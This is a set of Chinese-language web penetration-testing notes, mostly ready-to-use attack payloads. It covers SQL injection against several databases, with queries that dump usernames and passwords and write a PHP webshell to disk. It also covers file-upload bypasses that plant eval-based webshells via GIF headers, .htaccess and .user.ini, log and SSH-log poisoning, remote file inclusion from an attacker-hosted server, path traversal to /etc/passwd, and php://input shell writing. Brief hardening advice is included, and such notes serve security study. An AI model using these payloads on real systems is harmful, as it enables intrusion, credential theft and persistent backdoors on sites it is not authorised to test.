Web渗透

注:后续漏洞的源码都是PHP

text::Web语言漏洞

text::Web渗透工具

渗透测试常用术语


〇、Web安全基础

1 OWAPS

OWAPS(Open Web Application Security Project,开放式Web应用程序安全项目):提供有关计算机和互联网应用程序的公正、实际、有成本效益的信息。

official::OWAPS官网

漏洞类型(2017年 Top10)

  1. 注入:数据作为命令注入。
  2. 失效的身份认证:冒充身份。
  3. 敏感感数据泄露:数据泄露。
  4. XML外部实体(XXE):全称为XML External Entity attack 即XML(可扩展标记语言) 外部实体注入攻击。
  5. 失效的访问控制:未身份认证但获得了权限。
  6. 安全配置错误:不安全的配置。
  7. 跨站脚本(XSS):脚本转义。
  8. 不安全的反序列化:反序列化。
  9. 使用含有已经漏洞的组件:漏洞利用。
  10. 不足的日志记录和监控:日志缺陷。

2 http协议

http协议主要用于传输 html 文本:URL(统一资源定位符)是一种特殊的URI(统一资源标识符)。

请求头:

  • Host
  • User-Agent
  • Accept
  • Accept-Language
  • Cookie。一般,一个浏览器最多300个Cookie,每个domain最多20个Cookie,每个Cookie大小都小于4KB
  • Referer:来源页面的地址

响应头:

  • Location:控制浏览器重定向到哪个页面。
  • Server:服务器的 banner 信息。
  • Set-Cookie:服务器发送给客户端的 Cookie 设置信息。
  • Cache-Control:服务器控制浏览器是否要缓存网页。
// 设置Cookie
Set-Cookie: <cookie-name>=<cookie-value>
Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Strict
Set-Cookie: <cookie-name>=<cookie-value>; SameSite=Lax
Set-Cookie: <cookie-name>=<cookie-value>; SameSite=None; Secure

// 设置多种属性的案例:
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

测试服务器开放的方法

telnet IP
OPTIONS / HTTP/1.1
HOST:IP
测试PUT漏洞

telnet IP
PUT /input.txt HTTP/1.1
HOST:IP
Content-Length=6

123456

3 Cookie与Session详解

Cookie解密:my::源码

Session:

  • session信息存储在服务器端的数据库或者文件中。客户端请求服务器时都会带上Session信息,这样服务器就可以区分不同的客户端请求。

  • 组成:Session id,Session file,Session data。

// 设置 Cookie
<?php setcookie("user" , "value" , time() + <time> )>

// 获取 Cookie
<?php print_r( $_COOKIE[ "user" ])

// 删除 Cookie
<?php setcookie("user" , "value" , time() - <time> )>

4 其他相关知识

text::Web渗透工具

text::Kali Linux

text::PHP


一、SQL注入

注:SQL注入的注入点不一定是输入参数,也有可能是IP地址、COOKIE等其他头文件参数,需要看具体需求,思考什么数据可能存入到数据库中。

1 注入类型

万能密码大全-CSDN博客

1.1 数字型注入

通过返回结果判断

# 测试流程
id=1'; # 不正常返回
id=1 and 1=1; # 正常返回
id=1 and 1=2; # 不正常返回

1.2 字符型注入

通过返回结果判断

# 测试流程
id=1'; # 不正常返回
id=1' and '1'='1; # 正常返回
id=1' and '1'='2; # 不正常返回

id=1 or 1=1; # 表中所有数据将会被显示
1'#; # 会截断后面的 sql 语句

1.3 搜索型注入

# 原理:sql语句中存在 变量 like '%xx%'

# 测试流程,任一不报错表示存在搜索型注入
'and 1=1 and '%'=';
%' and 1=1--';
%' and 1=1 and '%'=';

1.4 xx型注入

# 原理:sql语句中存在 变量=('xx') 

# 测试流程,不报错表示存在xx型注入
x') or 1=1 #;

1.5 编码型注入

传输的数据被编码了,需要传递编码后的数据

# base64对 1 进行加密
?id=MQ==

1.6 加密型注入

传输的数据被加密了,需要传递加密后的数据,同理于编码。

1.7 格式型注入

按一定格式进行数据传递,例如:JSON。

同样可以检测是数字型还是字符型。

// 数字型JSON
{
"username": "admin and 1=1",
"password": "123456"
}

// 字符型JSON
{
"username": "admin' and 1=1",
"password": "123456"
}

1.8 回显分类

报错注入:有报错返回的注入

盲注:无报错返回的注入

2 MySQL数据库

部分函数

2.1 简单使用

#MYSQL——bin
mysql -u <user> -p:登入
登入后输入的命令要有 ;

# 尾部加:%23(#),(--+)截断后面的命令

2.2 联合注入

系统表:MySQL自带information_schema数据库,他提供了访问数据库元数据的方式。(元数据是数据的数据,如数据库名或表名、列的数据类型或访问权限等)

具体的系统表:

  • SCHEMATA表:

    • 提供了当前 MySQL 实例中所有数据库的信息。(show database结果取自此表)
    • information_schema.CHEMATA可查:schema_name
  • TABLES表:

    • 提供了关于数据库中表(视图)的信息(表属于那个 schema、表类型、表引擎、创建时间等)。(show tables from "schema_name"
    • information_schema.tables可查:table_schema,table_name
  • COLUMNS表:

    • 提供了表中的列信息(某个表的所有列以及每个列的信息)。(show columns from "schema_name.table_name"

    • information_schema.columns可查:table_schema,table_name,column_name

union联合注入

union :联合注入(两个select结果格式应一致,union查询出多条会只保留一条)

# 1.判断注入点
id=1 and 1=1
# 数字型还是字符型

# 2.判断列数
id=1 order by 1
# 表示依照第一列排序,依此可以判断有多少列

# 3.判断报错点
id=1 and 1=2 union select 1,2,3
# 获得报错列,将sql语句放到报错列上

# 4.获取当前数据库名
id=1 and 1=2 union select 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),3
# user():当前用户名,database():当前数据库名,version():当前版本,concat_ws():指定分隔符拼接(参数一是分隔符)

# 5.获取数据库中表名
id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='name'
# group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )

# 6.获取表中列名
id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='name' and table_name='user'
# 同理

# 7.获取列中数据
id=1 and 1=2 union select 1,group_concat(username,' ',password),3 from user
# 同理

常用函数

# 从n开始,输出m个结果
limit n,m
user()
current_user()
database()
version()
length()
hex()

# 数据库路径
@@datadir
# 数据库系统版本
version()
# 操作系统
@@version_compile_os
# 用户身份
user()
# 数据库名
database()

# 写文件
into_dumpfile()
# 读文件
load_file()
# 拼接字符串
concat(str,str)
# 将group by产生的同一个分组中的值连接起来,返回一个字符串结果,用法如上。
group_concat()

2.3 布尔盲注

布尔盲注

依照返回结果是 true 或 false 来进行注入。

# 1、数据库长度
id=33 and (select length(database())) > num
# 修改num值和大于符号,试出长度

# 2、库名(参数21开始)
id=33 and (select ascii(substring(database(),1,1))) > num
# 改substring参数二,num和符号,逐步试出库名

# 3、表名
id=33 and (select ascii (substring((select table_name from information_schema.tables where table_schema = ' name ' limit 0,1),1,1))) > num
# 改substring参数二,num和符号,逐步试出库名。limit是限制输出第一个表,如果有多个表要改第一个参数

# 4、表列名
id=33 and (select ascii (substring((select column_name from information_schema.columns where table_name = ' name ' and table_schema = ' name ' limit 0,1),1,1))) > num
# 同理步骤 3

# 5、值
id=33 and (select ascii(substring((select username from <schema>.<table> limit 0,1),1,1))) > num
# <schema>.<table>:填库名和表名

相关函数

# 长度
length(str)
# 对str从第m字符开始向后截取n个字符(1开始计数)
substring(str,m,n)
# c 的 ascii 码
ascii(c)

2.4 时间盲注

时间盲注

注入无返回结果或唯一返回结果时使用,依照睡眠时间判断为真还是为假。

# 1、数据库长度
id=1 and sleep(if(length((select database()))=10,0,5))%23
# 试出长度

# 2、库名
id=1 and sleep(if(ascii(substring(database(),1,1))<116,0,5))%23
# 试

# 3、表名
id=1 and sleep(if(ascii(substring((select table_name from information_schema.tables where table_schema='name' limit 0,1),1,1)<101,0,5)))%23
# 试

# 4、表列名
id=1 and sleep(if(ascii(substring((select column_name from information_schema.columns where table_name='name' and table_schema='name' limit 0,1),1,1)<101,0,5)))%23
# 试

# 5、值
id=1 and sleep(if(ascii(substring((select username from<table>.<column> limit 0,1),1,1))<69,0,5))%23
# 试

相关函数

# 睡眠
sleep(time)
# 三木运算符,条件,为真,为假。
if(condition,true,false)

2.5 floor盲注

floor盲注

# 改变 limit 的第一个值来获得不同的库名,表名,列名
# 1、库名
id=1 and ( select 1 from(select count(*),concat (database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

# 2、表名
id=1 and ( select 1 from (select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0) * 2))x from information_schema.tables group by x)a)

# 3、表列名
id=1 and (select 1 from (select count(*),concat((select(column_name) from information_schema.columns where table_schema=database() and table_name='name' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

# 4、值
id=1 and (select 1 from (select count(*),concat((select username from user limit 0,1),0x3a,floor( rand(0) * 2))x from information_schema.tables group by x)a)

相关函数

原理:floor 注入是 rand 函数在与 group by 子句一起使用时多次计算导致的。

# 返回不大于 x 的整数值
floor(x)
# (0,1)的随机数(rand() * 2 ∈ (0,2))(用rand(0)保证注入必报错)
rand()

2.6 XML注入

updatexml注入

# 1.库名
id=1 and updatexml(1,concat(0x7e,(database())),0)

# 2.表名
id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='name' limit 0,1)),0)

# 3.表列名
id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='name' and table_name='name' limit 0,1)),0)

# 4.
id=1 and updatexml(1,concat(0x7e,(select password from user limit 0,1)),0)

相关函数

原理:输入的路径不符合格式导致报错,在路径栏中返回报错信息。

# 对XML文档进行更新
updatexml( XML_document , XPath_string , new_value )
# String型,是目标XML文档的文件格式。
XML_document
# (XPath格式的字符串)是XML文档路径。
XPath_string
# String型,用于替换查找到的符合条件的数据。
new_value

extractvalue注入

同理于 updatexml,将 updataxml 改成 extractvalue 即可。

2.7 宽字节注入

宽字节注入

原理:限字符集包含中文,程序通过 addslashes 函数在引号前会加入 \ ,然后会和前面的编码拼成一个宽字节,引号不会被转义,语句闭合导致注入成功。

可以使用:%81,%df

# 1.库名
id=1%81' and 1=2 union select 1,database(),3 %23

# 2.表名
id=1%81' and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x<> %23

# 3.表列名
id=1%81' and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=0x<> and table_name=0x<> %23

# 4.值
id=1%81' and 1=2 union select 1,group_concat(username , 0x2a2a2a , password),3 from user%23

2.8 增删改注入

Insert

SQL语句中因为insert语句为:INSERT INTO table_name (col_1, col_2,...) VALUES (value_1, value_2,....)。所以可以通过构造语句在value进行操作。

# 1.猜闭合
username=xixi','111') #
# 如果报错列数不对,说明是引号闭合,但是列数不对,继续添加数据猜列数

# 2.库名(任一)
username=xixi' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
username=xixi' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '','22','33','44','55','66')#
# 第一个语句的最后的单引号是为了闭合引号

# 3.表名
username= ' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or '
# 修改substr的第二个参数获得不同表名

# 4.列名
username= ' or updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) or '
# 修改substr的第二个参数获得不同列名

# 5.数据
username= ' or updatexml(1,concat(0x7e,substr((select group_concat(concat(username,';',password)) from users),1,31),0x7e),1) or '

Update

同理于Insert:UPDATE table_name SET col_name = new_value WHERE col_name = value

# 1.猜闭合
sex=1''
# 一个单引号报错两个不报错则为单引号闭合

# 2.库名
sex=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) #

# 3.表名
sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #

# 4.列名
sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1) #

# 5.数据
sex=1' and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1) #

Delete

同理于Insert:DELETE FROM table_name WHERE col_name = value

# 1.库名
id=59 and updatexml(1,concat(0x7e,(select database()),0x7e),1)#

# 2.表名
id=59 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) #

# 3.列名
id=59 and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,31),0x7e),1)#

# 4.数据
id=59 and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)#

3 Oracle注入

数据库:

  • 数据字典存在 SYSTEM 与 SYSAUX 表空间内的若干段中。

  • 数据表:select table_name , tablespace_name from user_tables

  • 表列:select table_name , column_name from user_tab_columns

  • dual表:select SYS_CONTEXT( 'USERENV' , 'CURRENT_USER' ) from dual (属于 sys 模式,所有用户均可访问)

3.1 联合注入

第26天:Web攻防-通用漏洞&SQL注入&Sqlmap&Oracle&Mongodb&DB2等 - 解放者-cracer - 博客园 (cnblogs.com)

# 1.注入点
id=1 and 1=1

# 2.列数
id=1 order by 1

# 3.报错点
id=1 union select null,null,null from dual

# 4、当前数据库名
id=1 union select null,null,SYS_CONTEXT('USERENV', 'CURRENT_USER') from dual

# 5.表名
id=1 and 1=2 union select null,null,table_name from user_tables

# 6.列名
id=1 and 1=2 union select null,null,column_name from user_tab_columns

# 7.数据
id=1 and 1=2 union select null,"username","password" from "user"


# 1.当前用户的信息
select SYS_CONTEXT( 'USERENV' , 'CURRENT_USER' ) from dual

# 2.当前用户权限
select * from session_roles

# 3.数据库版本
select banner from sys.v_$vsersion where rownum=1

4 SQL Server注入

数据库:

  • sysdatabases:相关数据库信息
  • sysobjects:数据库中的对象信息
  • syscolumns:列名

4.1 报错注入

# 1.测字段数
order by 4

# 2.测回显位
and 1=2 union all select 'null',null,null //用单引号包裹null,若该位置存在回显位,则页面爆出null

# 3.获取信息
@@version # 获取版本信息
db_name() # 当前数据库名字
user,system_user,current_user,user_name # 获取当前用户名,四种查询方式
@@SERVERNAME # 获取服务器主机信息
and 1=2 union all select null,db_name(),null

# 4.查表名
and 1=2 union all select null,(select top 1 name from <db_name>.dbo.sysobjects where xtype='u'),null # 查出第一个表名
and 1=2 union all select null,(select top 1 name from <db_name>.dbo.sysobjects where xtype='u' and name not in (<first_table_name>),null # 查其他表

# 5.查字段名
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null
and 1=2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null

# 6.查字段内容
and 1=2 union all select null,username,null from manage

5 Access注入

Access没有系统库。Access不同于MySQL,Access是独立存在的:一个文件中有数据库名,表名,列名,数据。而MySQL是统一管理的:一个文件中有数据库A的表列数据,数据库B的表列数据,数据库C的表列数据,等等。

5.1 爆破注入

直接用工具猜测表名和列名

# 1、猜表名
Id=130 and exists (select * from TableName)

# 2、猜列名
Id=130 and exists (select ColumnName from TableName)

# 3、列数
Id=130 order by 7

# 4、报错点
Id=130 and 1=2 union select 1,2,3,4 from TableName

# 5、数据
Id=130 and 1=2 union select 1,ColumnName,3,4 from TableName

5.2 偏移注入

表名已知,列名未知时使用。

星号表示全部查询。通过偏移,将要查询的表的结果插入当前的表。

SQL注入之偏移注入(Access)-CSDN博客

如下所示,可以将表2的查询结果偏移到表1中,这样,表1的age值显示的就是表2的id值,以此类推。移动星号位置可以继续偏移。

表1 id email age username password
1 2 *
表2 id username password
表1 id email age username password
1 *
表2 id username password
# 1.*号测试字段(*代替)
Id=130 and 1=2 union select 1,2,3,* from TableName

6 PostgreSQL

6.1 联合注入

# 1.测列数
order by 4
and 1=2 union select null,null,null,null

# 2.测试回显(观察哪里回显了null,假设此处是2,3
and 1=2 union select 'null',null,null,null
and 1=2 union select null,'null',null,null
and 1=2 union select null,null,'null',null
and 1=2 union select null,null,null,'null'

# 3.获取信息
and 1=2 union select null,version(),null,null
and 1=2 union select null,current_user,null,null
and 1=2 union select null,current_database(),null,null

# 4.数据库名
and 1=2 union select null,string_agg(datname,','),null,null from pg_database

# 5.表名
and 1=2 union select null,string_agg(tablename,','),null,null from pg_tables where schemaname='public '
and 1=2 union select null,string_agg(relname,','),null,null from pg_stat_user_tables

# 6.列名
and 1=2 union select null,string_agg(column_name,','),null,null from information_schema.columns where table_name="xxx"

# 7.
and 1=2 union select null,string_agg(xxx,','),string_agg(xxx,','),null from xxx

7 MongoDB

7.1 注入

# 1.测回显
?id=1'}); return ({title:1,content:'2

# 2.爆库
?id=1'}); return ({title:tojson(db),content:'1

# 3.爆表(db.getCollectionNames()返回的是数组,需要用tojson转换为字符串)
?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1

# 4.数据(db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据)
?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1

8 复杂注入

8.1 二次注入

原理:首次注入时因为存在字符转义,无法注入成功,但是该数据会存入数据库中。第二次需要用到数据时,数据会从数据库中取出,由于取出的时候没有做过滤,导致注入代码会成功执行。

案例:先插入一个恶意代码,存在用户名中。然后在找回密码时,用户名被取出来,由于取出的时候没有做过滤,于是用户名的值被构造成了恶意代码执行。

# 案例
# 注册用户界面输入:
用户名:ctfs' or updatexml(1,concat(0x7e,(version())),0)%23
密码:123456
邮箱:ctfs@ctfs.com


# 找回密码界面ctfs@ctfs.com
# 数据库做的操作如下,因为用户名被成功存入。
select * from users where username = 'ctfs' or updatexml(1,concat(0x7e,(version())),0)%23

8.2 堆叠注入

定义:多条sql语句一起被执行

堆叠注入详解 - 渗透测试中心 - 博客园 (cnblogs.com)

# 堆叠注入
';show databases;
';show tables;
';show columns from `1919810931114514`;
';select flag from `1919810931114514`;


# 假设上述案例禁用了select,可以用下列语句利用十六进制继续堆叠注入
';SeT
@a=Ox73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

8.3 注入后门

利用写文件将后门写入指定文件

1' union select 1,'<?php assert($_POST[a]);?>' into outfile './hackable/uploads/sh.php'#

1' union select 1,0x3c3f7068702061737365727428245f504f53545b615d293b3f3e into outfile './hackable/uploads/sh.php'#

9 sqlmap

text::Kali Linux

10 SQL注入绕过

10.1 空格

空格可以替换成想下列字符:

  1. /**/
  2. 制表符:%09
  3. 换行符:%0a
  4. 小括号:(username)
  5. 反引号:`

10.2 内联注释

原理:MySQL会执行放在 /*! ... */中的语句,当前数据库版本高于语句中的版本则会执行语句,低于则会报错。

例:/*!50173select*/ * /*!from*/ user ;(50173:5.01.73)

10.3 复写

双写:seLeCt

大小写:

  • 原理:利用 preg_replace 对指定字符过滤,会将指定字符转化成空(仅一次)

  • seselectlect

10.4 编码

普通编码:

  1. 双重 url :%256c== %6c(%25 是 % 的 url 码)
  2. 十六进制:'users'==0x7573657273 / database() 代替 ‘name’
  3. Unicode编码:%u006c
  4. ASCII码:CHAR( 100 )

等价字符:

  1. like 或 in 代替 =
  2. 逗号替换:select substr(database(),1,1) 换成 select substr(database() from 1 for 1)

等价函数:

  1. sleep == benchmark
  2. ascii == hex,bin
  3. group_concat == concat_ws
  4. updatexml == extractvalue
  5. 字符串截取函数:mid、substr、substring、left、reverse

11 SQL加固防护

11.1 数字型

int intval( mixed $var [ , int $base = 10 ] ):进制转化(base:0(自动检测)、其他为其他进制)

11.2 字符型

htmlspecialchars( str ):把预定义字符转化成 html 实体(默认不对单引号转化,要加 ENT_QUOTES 参数才会转化

mysql_real_escape_string( str )

  • 对 sql 语句中 str 使用的特殊字符进行转义(\0x00 \n \r ' " \x1a)。
  • 成功转义返回字符串,否则返回 false。
  • PHP4.3.0以上才可使用,PHP5.3中已经弃用了

addslashes( str )

  • 预定义字符前加反斜杠,返回字符

  • 预定义字符:' " \ null

字符 转义
& &amp
&quot
&#039
< &lt
> &gt

11.3 参数化查询

mysqli:( name = ? )

PDO:( name = :username )

11.4 服务器配置

magic_quotes_gpc = on:自动转义预定义字符(addslashes函数),自 PHP5.3.0 起废弃并自 PHP5.4.0 移除。

magic_quotes_sybase = on:单引号会转义成两个单引号。(须开始 magic_quotes_gpc 和 magic_quotes_sybase 才生效)


二、身份认证攻击

1 弱口令

弱口令(weak password) 没有严格和准确的定义,通常认为容易被别人(他们有可能对你很了解)猜测到或被破解工具破解的口令均为弱口令,通常与管理的安全意识和平台的初始化配置等相关,通过系统弱口令,可被黑客直接获得系统控制权限。

产生原因:

  1. 管理员安全意识比较少
  2. 平台默认初始密码,没有给修改。

在常见的安全测试中,弱口令会产生安全的各个领域,包括Web应用,安全设备,平台组件,操作系统等;如何获取弱口令,利用弱口令成为了此类安全问题的关键!

利用工具:

信息泄露检测网站:

Word工具:official::PassFab Software


三、文件上传漏洞

1 文件本身绕过

1.1 JS过滤绕过

绕过:

  1. 先把木马扩展名改成 .jpg ,再抓包改成 .php

  2. 修改 js 代码

  3. 禁用 js 代码:Edge:设置——搜索JavaScript——禁用

// 示例代码

var allow_ext=".jpg | .jpeg | .png | .gif | .bmp
if (allow_ext.indexOf(ext_name + "|") == -1 )
{
Error!;
}

1.2 文件名绕过

if($type == "php"):大小写绕过(phP、PhP、php3、phtml)(双写:phphpp)

GIF木马:GIF89a <?php @eval($_REQUEST[123]); ?>(用于绕过函数 exif_imagetype

隐藏文件:copy 111.jpg /b + a.txt /a test.php(类型会检测的话再修改类型)

常见 Content-Type 类型 格式
text/html HTML格式
text/plain 纯文本格式
text/xml XML格式
image/gif gif图片格式
image/jpeg jpg图片格式
image/png png图片格式
application/xml XML数据格式
application/json JSON数据格式
application/pdf pdf格式
application/msword Word文档格式
application/octet-stream 二进制流数据(PHP)
常见尾缀 文件头编码
JPEG 0xFFD8FF
PNG 0x89504E470D0A1A0A
GIF 47 49 46 38 39 61 (或直接在 txt 前加上 GIF89a)

1.3 文件截断上传

满足条件:

  1. PHP < 5.3.4
  2. magic_quotes_gpc = off
  3. 传文件的路径可控

然后在上传的文件前改一个字符为%00,后面的 php 文件就不会被处理。

例:https://xxx.com/upload/?filename=test.php%00.txt

2 其他文件绕过

2.1 .htaccess文件上传

原理:.htaccess文件是Web服务器的一个配置文件,可以配置文件的解析方式、重定向等配置。

开启配置:

  1. Options FollowSymLinks AllowOverride None 改 All
  2. LoadModule rewrite_module modules/mod_rewrite.so(去掉注释,开启 rewrite 模块)

文件配置:

  1. 指定文件名:<Files test.jpg>ForceType application/x-httpd-php SetHandler application/x-httpd-php</Files>

  2. 指定文件后缀:AddType application/x-httpd-php .jpg

利用流程:

  1. 构造 .htaccess 文件:内容是文件配置(在windows上无法直接创建,因为无文件名。可以先创建一个有文件名的文件,之后抓包删去)
  2. 构造图片木马文件:copy .jpg /b + .txt .jpg
  3. 上传 .htaccess 和木马文件完成攻击。

2.2 .user.ini

.user.ini

同理 .htaccess

普通利用流程:

  1. 构造.user.ini:auto_prepend_file=flag.jpg并上传
  2. 构造:flag.jpg:<?php eval($_POST[x]);?>并上传
  3. 利用蚁剑链接图片完成攻击。

利用日志文件(需要路径下存在index.php,没有的话可以的话就上传一个):

  1. .user.ini:auto_prepend_file=test.png
  2. test.png:<?=include"/var/lo"."g/nginx/access.lo"."g"?>:用点号切开log防止被过滤,此处是nginx的日志文件路径,如果是别的中间件就改成别的
  3. 访问网站,修改User-Agent为<?=eval($_POST[x]); ?>
  4. 利用蚁剑链接日志文件完成攻击。
// .user.ini用gif绕过时两者间要加空格
GIF89a auto_prepend_file=test.png

// 空格被绕过后就换行
GIF89a
auto_prepend_file=test.png

2.3 竞争条件上传

原理:在上传的文件未被消灭之前进行访问,从而生成新的文件存在文件夹中。之后访问新的文件夹便可进行漏洞利用。

木马:<?php fputs(fopen("shell.php" , "w") , "<?php @eval($_POST[123]); ? >")>
(原理:创建一个 shell.php 文件,内容为后面的字符串)

攻击:BP——Intruder——Sniper——Payloads——Null payloads && Generate:10000(抓两个包,一个上传文件,一个访问文件,和服务器竞争)

2.4 二次渲染

定义:在上传图片等文件后,网站为了让图片更好地进行适配,会对上传的文件进行修改,比如修改尺寸等。此时,上传后的图片和原来的图片的内容将发生改变,后门也可能因此失效。

判断方式:

  • 判断上传前后的文件大小和内容。
  • 判断上传后文件返回的数据包内容。比如文件含有gd-jpeg,该关键字表示是php的GD库对图片进行了二次渲染。

绕过:

3 字符绕过

3.1 标签绕过

绕过方式:

  • <? echo "eval($_POST[x])"; ?>:需要配置short_open_tags=on
  • <?=eval($_POST[x]); ?>:高版本可以直接使用
  • <% echo "eval($_POST[x])"; %>:需要配置asp_tags=on
  • <script language="php">echo "eval($_POST[x])"; </script>:不需要修改参数开关

短标签绕过:

  • 短标签绕过原理
  • “<?=”是PHP的一个短的开放式标签,是echo() 的快捷用法。
  • PHP.ini——short_open_tag=On。(但是,从PHP版本5.4.0开始,无论PHP.ini文件中的设置如何,都可以使用短标签。)
  • 例:<?=eval($_POST['cmd']; ?)>

3.2 点和括号绕过

假设此时圆括号,点号字符被过滤。

IP地址 转 Int数字 - 在线工具 (toolhelper.cn)

绕过:

  1. .user.ini:GIF89a auto_prepend_file=png:直接就是png,不加其他的
  2. 在远程搭好带后门的网站,用于png进行远程包含。
  3. png:GIF89a <?=include 'http://123456789/'?>:ip地址转化成数字后上传
  4. 直接访问地址。

补充:如果png被删了,可以用条件竞争,或者png在中再新建一个文件,新的文件带有远程地址,或者直接上传:.user.ini:GIF89a auto_prepend_file=http://123456789/

3.3 免杀后门

当命令被禁用时,比如system被禁用是可以进行如下绕过:<?php $a='syste'.'m';$a('tac flag.txt');?>

4 防护

  1. 使用白名单限制文件上传的类型。
  2. 对上传文件进行随机重命名,并且文件的扩展名不允许用户自定义。
  3. 对保存上传的文件的文件夹进行权限限制,去掉脚本的执行权限。(让上传的文件不可以被执行)
  4. 对文件的内容进行恶意代码检测。

四、文件下载漏洞

1 定义

下载时可以下载任意文件。

详细分类:

  • 文件读取:基本和文件下载利用类似
  • 文件下载:利用下载获取源码或数据库配置文件及系统敏感文件为后续出思路
  • 文件删除:除自身安全引发的文件删除外,可配合删除重装锁定文件进行重装,重装后修改数据库等信息指向自己的数据库完成攻击。

URL构造:

  • http://www.download.com/soft/software.zip:直接构造URL下载,无法下载php等文件,无漏洞。
  • http://www.download.com/soft/down.php?filename=software.zip:作为参数传递,可以下载php等其他文件,可能存在漏洞。

利用过程:修改参数,先下载已知文件,观察是否可以下载下来,如果可以再下载其他软件。

2 防护

  1. 直接构造URL下载

五、文件包含漏洞

1 定义

文件包含函数的参数没有经过过滤或者严格的定义,并且参数可以被用户控制,这样就可以包含非预期的文件。

文件包含的函数:include / include_once / require / require_once

特征:

  • ?page=a.php
  • ?home=b.html
  • ?file=content

黑盒测试:主要观察参数传递的数据和文件名是否对应

白盒测试:

  1. 可通过应用功能追踪代码定位审计
  2. 可通过脚本特定函数搜索定位审计
  3. 可通过伪协议玩法绕过相关修复等

关键文件路径:

  • Windows:
    • c:\boot.ini【系统版本信息】
    • c:\xxx\php.ini【PHP配置信息】
    • c:\xxx\my.ini【MySQL配置信息】
    • c:\xxx\httpd.conf【Apache配置信息】
  • Linux:
    • /etc/passwd【Linux系统账号信息】
    • /etc/httpd/conf/httpd.conf【Apache配置信息】
    • /etc/my.conf【MySQL配置信息】
    • /usr/etc/php.ini【PHP配置信息】

2 本地包含

无限制条件:?filename=../../../../../../../../../../../../etc/passwd

有限制条件:

  1. %00截断(截断后面的扩展名):
    • 条件:magic_quotes_gpc=off,V(PHP)< 5.3.4
  1. 路径长度截断:

    • Windows路径最长 256B,Linux 4096B(限 32 位)

      • ?filename=test.txt./././././ * 256B (截断)
  1. 点号截断同理 2:
    • ?fliename=test.txt.................

3 系统文件包含

Linux的Session文件路径:/var/lib/php/session(服务器存 session 格式:sess_id)

Session文件:

  1. ?filename=<?php phpinfo(); ?>(要编码)
  2. 利用 F12 找到 session 值
  3. ?filename=/var/lib/php/sess_id(访问成功表示成功)

日志文件:

  • 中间件日志:

    1. 条件是已知路径,且有可读权限。( CentOS 的 Apache 日志在 /var/log/httpd,默认名 access_log )
    2. <?php @eval($_POST[123])?>:抓包改编码(URL编码导致无法使用)
    3. 访问路径,key 是 123
  • SSH日志:

    1. 路径已知,可读。( /var/log/auth.log )
    2. ssh "<?php @eval($_POST[123])?>"@ip
    3. 访问,key 是 123

4 远程文件包含

原理:包含其他服务器的文件(是其他服务器的执行结果发给新服务器)

条件:allow_url_fopen = on 和 allow_url_include = on

使用:?filename=http://ip/php.txt

绕过(截断后面的扩展名):

  1. 问号,php.txt?
  2. 井号,php.txt%23
  3. 空格,php.txt%20

5 PHP常用伪协议

5.1 filter

php://filter

绕过

iconv编码列表

作用:

  • 访问本地文件系统。(无条件)
  • [read=] / [write=]
  • 对数据进行读取。在include后如果不编码,文件内容将会被包含到当前文件中,然后作为代码执行,而编码后包含进来的代码不可被执行了,所以会显示出来。

利用:

  • 读取文件
  • 写入后门
// 读文件的base64编码(不加解码的话就是执行php)
?filename=php://filter/[read=]convert.base64-encode/resource=xxx.php

// 转码(用于绕过base64编码禁止)
?filename=php://filter/convert.iconv.<input-encoding>.<output-encoding>/resource=xxx.php
?filename=php://filter/convert.iconv.<input-encoding>/<output-encoding>/resource=xxx.php

5.2 input

作用:读取POST上没有经过解析的原始数据。

限制:报头中使用enctype="multipart/form-data"该伪协议无效。

可以用的方式:

  1. 读取 post 数据(无条件):

    • 上传文件:<?php echo file_get_contents("php://input")>; /post.php
    • post操作:data,回显 data
  2. 写木马(allow_url_include开启):

    • 上传文件:filename=php://input
    • post操作:<?php fputs(fopen("shell.php","w"),'<?php @eval($_POST[cmd])?>');?>
  3. 执行命令(allow_url_include开启):

    • 上传文件:filename=php://input

    • post操作:system

4.3 file

作用:访问本地系统文件,读取文件内容。(无条件)

代码:?filename=file://c:/boot.ini

5.4 data

